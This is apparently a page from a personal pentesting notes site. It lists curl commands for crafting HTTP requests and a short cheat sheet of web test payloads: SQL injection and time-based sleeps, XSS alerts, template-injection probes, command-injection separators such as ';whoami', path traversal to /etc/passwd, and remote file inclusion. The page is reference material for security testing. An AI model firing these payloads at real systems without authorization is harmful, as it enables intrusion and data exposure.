📑
Security Notes
  • Readme
  • Resources
    • Useful sites
    • Metasploit
      • Searchsploit
      • Msfvenom
      • Meterpreter
    • Shells
    • Linux
      • Cron
      • Connection
      • Compilers
    • Windows
      • Kernel exploits table
    • Bruteforce
      • Checklist
      • John the Ripper
      • Hashcat
    • BOF
      • Assembly
    • Gaining access checklist
  • Cloud - AWS
    • Enumeration
    • References
    • Bucket S3
      • Public Bucket
      • AMI Files
      • File upload to RCE
    • EC2
      • cloud-init Exploits
      • SSRF To AWS Role compromise
      • Unencrypted EBS
    • IAM
      • Account Disclosure by resource policy
    • Lambda Function
      • Code Injection
      • Attacking APIs
    • VPC
      • Expose Resources
  • Networking
    • Nmap
      • Scan types
    • TCPDump
    • Port forwarding
    • Ports
      • 21 - FTP
      • 22 - SSH
      • 25 465 587 - SMTP
      • 53 - DNS
      • 110 995 - POP3
      • 111 - NFS
      • 113 - Ident
      • 123 - NTP
      • 135 137 139 - RPC
      • 143 993 - IMAP
      • 161 - SNMP
      • 389 - LDAP
      • 139 445 - SMB
      • 873 - Rsync
      • 6379 - Redis
      • 6667 - IRC
  • Linux PrivEsc
    • Checklist
    • Enumeration
      • Important files
      • Memory Dump
    • Privileges Exploitation
    • Wildcard Exploits
    • Sudo Exploits
    • Docker Container
    • Docker Groups
    • Common Exploits
  • Windows PrivEsc
    • Checklist
    • Enumeration
      • Important Files
    • Antivirus evasion tools
    • Unquoted paths
    • Always install elevated
    • Vulnerable services
    • Client side
    • Exploitable privileges
      • Juicy Potato
    • UAC bypass
    • Common Exploits
  • Active Directory
    • Introduction
    • Checklist
    • Enumeration
    • Enable RDP
    • Kerberos
    • Rubeus
    • Credentials harvesting
      • Domain Controller specific
    • Connection
    • Pass The Hash
    • Kerberoast
    • ASREProast
    • Tickets
  • Web Attacks
    • Checklist
    • Enumeration
      • URL bruteforcing
    • APIs and Fields
    • Authentication
    • Filter Evasion
      • Fuzzying and encoding
    • File Vulnerabilities
      • LFI List
      • PHP shells
    • RCE
    • Code Injection
    • Dependency Injection
    • Joomla
    • Wordpress
    • WebDAV
    • HTTP
    • XSS
      • DOM Based
      • Reflected
      • Filter Evasion
    • SSI
    • SSTI
    • RCE
    • CSRF
    • SQL injection
      • sqlmap
      • PostgreSQL
      • Oracle
      • MSSQL
      • MySQL
      • Login
    • XPath injection
    • XXE
    • CORS
  • MOBILE PENTESTING
    • Static Code Analysis
    • Dynamic Code Analysis
    • Network Traffic Analysis
Powered by GitBook
On this page
  • Simulating Requests
  • Testing parameters
  1. Web Attacks

APIs and Fields

Simulating Requests

GET

curl <url>

HEAD

curl -I <url>

PUT

curl -T <file> http://www.upload.com/myfile

GET - Params

curl <url>?field=value&field2=value2

GET - Follow Redirect

curl -L <url>

GET - Custom Headers

curl <url> -H "header1: value" -H "header2: value"

GET - Custom Cookies

curl -b "name1=value1; name2=value2" <url>

POST - Form Data

curl -X POST <url>
   -H "Content-Type: application/x-www-form-urlencoded" 
   -d "key1=value1&key2=value2" 

POST - JSON

curl -X POST <url>
    -H 'Content-Type: application/json'
    -d '{"field1":"value1","field2":"value2"}'

POST - Send File

curl -X POST <url> -d @<path to file>
curl -X POST <url> -F @<path to file>               #as form encoded
curl -X POST <url> --data-binary @<path to file>    #use this if file is corrupted

POST - Base Auth

curl -X POST <url> --user "<user>:<password>"
curl -X POST <url> -H "Authorization: Basic $(echo -n "<user>:<pass>" | base64)"
curl -X POST <url> -H "Authorization: Bearer <token>" 

Testing parameters

SQL Injection

'"`) or 'a' = 1;    
'"` or 1 = 1; 

sleep(5)#
or sleep(5)#
;waitfor delay '0:0:5'--
" or pg_sleep(5)--

XSS

<script>alert(document.domain)</script>
<img src=1 href=1 onerror="javascript:alert(document.domain)"></img>

`"'><img src=1 href=1 onerror="javascript:alert(document.domain)"></img>
/><img src=1 href=1 onerror="javascript:alert(document.domain)"></img>

Template Injection

4*4
{{4*4}}
${4*4}
{4*4}
<%= 4*4 %>

RCE

os.system('<cmd>')
T(java.lang.Runtime).getRuntime().exec("<cmd>");

echo exec("<cmd>");
echo `<cmd>`;

<!--#exec cmd="<cmd>" --> 

whoami
$(whoami)
;whoami
||whoami
&&whoami

Local File Inclusion

../../../../../../../../../etc/passwd
..\..\..\..\..\..\..\..\..\Windows\system.ini
..\..\..\..\..\..\..\..\..\boot.ini

Remote File Inclusion

http://www.google.com
http://<controlled ip>
PreviousURL bruteforcingNextAuthentication

Last updated 1 year ago